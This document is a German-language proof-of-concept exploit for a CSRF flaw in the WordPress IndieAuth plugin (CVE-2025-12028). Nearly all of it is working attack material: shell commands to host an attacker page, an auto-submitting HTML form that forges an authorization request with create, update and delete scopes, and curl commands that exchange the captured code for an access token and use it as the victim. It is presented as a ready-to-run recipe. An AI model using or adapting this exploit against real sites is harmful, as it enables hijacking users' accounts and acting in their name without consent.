
Proof-of-concept Exploit für CVE-2025-12028, der CSRF-basierten OAuth-Token-Diebstahl im WordPress IndieAuth-Plugin demonstriert und unbefugten API-Zugriff mit gestohlenen Zugangsdaten ermöglicht.
mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000
/tmp/attacker/poc.html mit folgendem Inhalt<!doctype html>
<html>
<body>
<form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
<input name="client_id" value="http://attacker.local/app">
<input name="redirect_uri" value="http://127.0.0.1:8000/cb">
<input name="state" value="csrf-12345">
<input name="response_type" value="code">
<input name="scope[]" value="create">
<input name="scope[]" value="update">
<input name="scope[]" value="delete">
</form>
<script>
document.getElementById('x').submit();
</script>
</body>
</html>
Während du eingeloggt bist in:
http://localhost/wordpress
Öffne:
http://127.0.0.1:8000/poc.html
in derselben Browsersitzung.
Der Browser wird:
http://127.0.0.1:8000/cb?code=...&state=csrf-12345
curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-d "grant_type=authorization_code" \
-d "code=PASTE_CODE_FROM_STEP_4" \
-d "client_id=http://attacker.local/app" \
-d "redirect_uri=http://127.0.0.1:8000/cb"
Die JSON-Antwort wird Felder enthalten wie:
access_tokenscopemerefresh_tokenDieses Token kann nun verwendet werden, um im Namen des Opfers innerhalb der gewährten Bereiche zu handeln.
TOKEN="PASTE_ACCESS_TOKEN"
curl -s "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
-H "Authorization: Bearer $TOKEN"